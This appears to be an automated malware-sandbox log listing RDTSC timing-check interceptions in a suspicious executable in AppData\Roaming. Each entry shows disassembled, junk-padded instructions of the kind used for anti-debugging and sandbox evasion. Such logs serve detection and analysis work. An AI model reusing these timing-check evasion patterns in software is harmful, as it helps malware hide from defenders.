Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494DC7 second address: 494DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494DCB second address: 494DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494DCF second address: 494DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a jmp 00007F2738E98EF5h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F2738E98EE6h 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494E55 second address: 494E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494E5A second address: 494E73 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2738E98EE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2738E98EEAh 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494E73 second address: 494EA9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov dx, 6150h 0x0000000e mov esi, dword ptr [ebp+122D393Fh] 0x00000014 popad 0x00000015 push 00000000h 0x00000017 jmp 00007F2738B89E16h 0x0000001c push B38BDD69h 0x00000021 push esi 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494EA9 second address: 494F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 add dword ptr [esp], 4C742317h 0x0000000d sub edx, 46EC3702h 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F2738E98EE8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D27B0h], ecx 0x00000035 push 00000000h 0x00000037 jl 00007F2738E98EECh 0x0000003d mov dword ptr [ebp+122D3585h], eax 0x00000043 push 00000003h 0x00000045 call 00007F2738E98EF5h 0x0000004a mov dword ptr [ebp+122D266Ah], ecx 0x00000050 pop ecx 0x00000051 call 00007F2738E98EE9h 0x00000056 push esi 0x00000057 push ebx 0x00000058 jnc 00007F2738E98EE6h 0x0000005e pop ebx 0x0000005f pop esi 0x00000060 push eax 0x00000061 jmp 00007F2738E98EF3h 0x00000066 mov eax, dword ptr [esp+04h] 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F2738E98EF7h 0x00000073 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494F54 second address: 494F66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494F66 second address: 494F77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494F77 second address: 494F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494F7B second address: 494F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494F7F second address: 494FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2738B89E0Bh 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edx 0x00000011 push edi 0x00000012 jnp 00007F2738B89E06h 0x00000018 pop edi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b movsx ecx, si 0x0000001e mov esi, dword ptr [ebp+122D369Fh] 0x00000024 lea ebx, dword ptr [ebp+1245997Ah] 0x0000002a sub ch, FFFFFFA1h 0x0000002d mov edx, dword ptr [ebp+122D368Bh] 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 jmp 00007F2738B89E0Ah 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494FC8 second address: 494FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B560C second address: 4B5612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B3521 second address: 4B3526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B3526 second address: 4B352C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B352C second address: 4B3530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B36CA second address: 4B36D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B36D0 second address: 4B3706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF7h 0x00000007 jmp 00007F2738E98EF7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B3836 second address: 4B383C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B383C second address: 4B3847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B3847 second address: 4B384D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B3AC7 second address: 4B3ACC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B3ACC second address: 4B3B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F2738B89E1Dh 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F2738B89E15h 0x00000016 jmp 00007F2738B89E12h 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B3B04 second address: 4B3B09 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B40C6 second address: 4B40CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B40CB second address: 4B40D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B40D1 second address: 4B40D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B40D5 second address: 4B40D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B429F second address: 4B42B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B42B2 second address: 4B42B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B42B8 second address: 4B42E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E11h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007F2738B89E0Ch 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B45E7 second address: 4B45ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B45ED second address: 4B45F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B45F1 second address: 4B45FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A95B0 second address: 4A95DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E0Fh 0x00000009 je 00007F2738B89E06h 0x0000000f popad 0x00000010 jmp 00007F2738B89E12h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A95DC second address: 4A95F7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2738E98EEAh 0x00000008 pushad 0x00000009 js 00007F2738E98EE6h 0x0000000f jno 00007F2738E98EE6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B471B second address: 4B4721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B4EAA second address: 4B4EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B4EB0 second address: 4B4EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B4EB4 second address: 4B4EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B5035 second address: 4B503B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B540D second address: 4B5424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B5424 second address: 4B542A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4B542A second address: 4B542F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4BA69B second address: 4BA69F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4BA7B9 second address: 4BA7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 47E701 second address: 47E709 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 48DA46 second address: 48DA56 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F2738E98EE6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 483906 second address: 48391B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2738B89E06h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e ja 00007F2738B89E06h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 48391B second address: 483921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3697 second address: 4C369C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C380E second address: 4C3812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3812 second address: 4C381C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C381C second address: 4C3820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3ACA second address: 4C3AE7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2738B89E0Dh 0x0000000f jns 00007F2738B89E06h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3DDF second address: 4C3DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3DE3 second address: 4C3E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F2738B89E1Fh 0x0000000e jmp 00007F2738B89E13h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3E06 second address: 4C3E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3E0E second address: 4C3E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C3E12 second address: 4C3E22 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 47CC13 second address: 47CC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 47CC19 second address: 47CC1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 47CC1D second address: 47CC25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C74EF second address: 4C7502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F2738E98EE6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C7502 second address: 4C7508 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C7508 second address: 4C7535 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F2738E98EF6h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edx 0x00000014 jbe 00007F2738E98EECh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C7AFE second address: 4C7B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E18h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C7CF4 second address: 4C7CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C7CF8 second address: 4C7D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C8164 second address: 4C8168 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C8168 second address: 4C816E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C816E second address: 4C8175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C8175 second address: 4C8189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 cld 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F2738B89E0Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C8189 second address: 4C818D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C860C second address: 4C8620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C8620 second address: 4C8625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C8764 second address: 4C876E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C876E second address: 4C8772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C95BD second address: 4C95C2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C95C2 second address: 4C961D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sbb si, EBF7h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F2738E98EE8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d or si, 4645h 0x00000032 xchg eax, ebx 0x00000033 js 00007F2738E98EF2h 0x00000039 jmp 00007F2738E98EECh 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 jno 00007F2738E98EE6h 0x00000048 pop esi 0x00000049 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C961D second address: 4C9623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CA7DF second address: 4CA82A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F2738E98EEAh 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 mov ch, C4h 0x00000014 mov eax, 71DBBF09h 0x00000019 popad 0x0000001a push 00000000h 0x0000001c jo 00007F2738E98EF6h 0x00000022 jmp 00007F2738E98EF0h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d push esi 0x0000002e pop esi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CA82A second address: 4CA830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CA830 second address: 4CA834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDD38 second address: 4CDD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4CDD3D second address: 4CDD54 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2738E98EECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
